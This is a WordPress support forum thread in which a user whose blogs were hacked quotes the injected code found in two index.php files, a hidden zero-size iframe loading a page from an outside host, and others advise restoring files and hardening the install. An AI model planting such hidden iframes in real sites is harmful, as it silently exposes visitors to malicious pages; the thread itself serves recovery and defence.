Help Hacked! Parse error: syntax error, unexpected '?' in */index.php on line 18 (5 posts)

  1. technolife
    Posted 5 years ago #

    Hi Guys,

    Pls help - all my blogs when I go to the home page say:

    Parse error: syntax error, unexpected '?' in */index.php on line 18

    I have a few wordpress blogs installed and some have multisites, they are all down atm. My other zen-cart site in this same hosting is still working though?

    I logged in to my GoDaddy hosting via FTP and this is what one of my wp-content/index.php files looks like:

    // Silence is golden.
    ?<html><body><iframe src="http://kazyment.com/error2/tr/out.php?s_id=2" width="0" height="0" style="display:none;"></iframe></body></html>>

    I also cannot login to my wp-admin/ pages as they come up blank when accessing the web address. When I downloaded the wp-admin/index.php file via FTP, there is about 1 page of code and this line down the bottom:

    <?php require(ABSPATH . 'wp-admin/admin-footer.php'); ?><html><body><iframe src="http://kazyment.com/error2/tr/out.php?s_id=2" width="0" height="0" style="display:none;"></iframe></body></html>

    Would really appreciate any help what do I do? People say re-install but how do I do that without losing anything?

  2. esmi
    Forum Moderator
    Posted 5 years ago #

  3. Rev. Voodoo
    Posted 5 years ago #

    I see you are on godaddy.... if you log on to their interface, you have the option to roll files back using the History tab. You can roll back to pre-hack state

    Then follow the steps to strengthen your WP install @esmi supplied

  4. technolife
    Posted 5 years ago #

    thanks so much esmi for the links
    and thanks rev.voodoo - I used that history restore and got it back

    cheers guys

  5. maerk
    Posted 5 years ago #

    Oh hey, if it helps, it looks like your hacker didn't close the <?php ?> block properly, so their hacking attempt to put in that iframe probably failed. That was likely what the error message was :)

Topic Closed

This topic has been closed to new replies.

About this Topic